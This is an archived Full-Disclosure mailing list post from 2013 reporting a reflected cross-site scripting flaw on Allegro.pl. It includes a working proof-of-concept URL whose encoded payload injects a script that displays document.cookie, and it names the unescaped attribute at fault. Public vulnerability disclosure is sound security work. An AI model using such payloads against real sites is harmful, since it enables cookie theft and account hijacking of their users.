[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

[Full-disclosure] Allegro.pl XSS [0-day]

To: full-disclosure@xxxxxxxxxxxxxxxxx
Subject: [Full-disclosure] Allegro.pl XSS [0-day]
From: Kacper Szczesniak <kacper@xxxxxx>
Date: Thu, 11 Apr 2013 18:27:28 +0200

Hi All!

I was looking for a 19" rack mount today and found this XSS instead:
http://allegro.pl/listing/listing.php?string=%22%3E%3Cscript%3Ealert%28document.cookie%29%3B%3C%2Fscript%3E

it turns out to be a custom data-headline attribute that is not properly escaped

tested on Firefox 20, Chrome and others need an xss filter bypass

kacper

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Follow-Ups:
- Re: [Full-disclosure] Allegro.pl XSS [0-day]
  - From: Henri Salo
- Re: [Full-disclosure] Allegro.pl XSS [0-day]
  - From: Swair Mehta

Prev by Date: [Full-disclosure] Exploiting sibling domains cookie isolation policy to DoS CDN users
Next by Date: Re: [Full-disclosure] Exploiting sibling domains cookie isolation policy to DoS CDN users
Previous by thread: Re: [Full-disclosure] Exploiting sibling domains cookie isolation policy to DoS CDN users
Next by thread: Re: [Full-disclosure] Allegro.pl XSS [0-day]
Index(es):
- Date
- Thread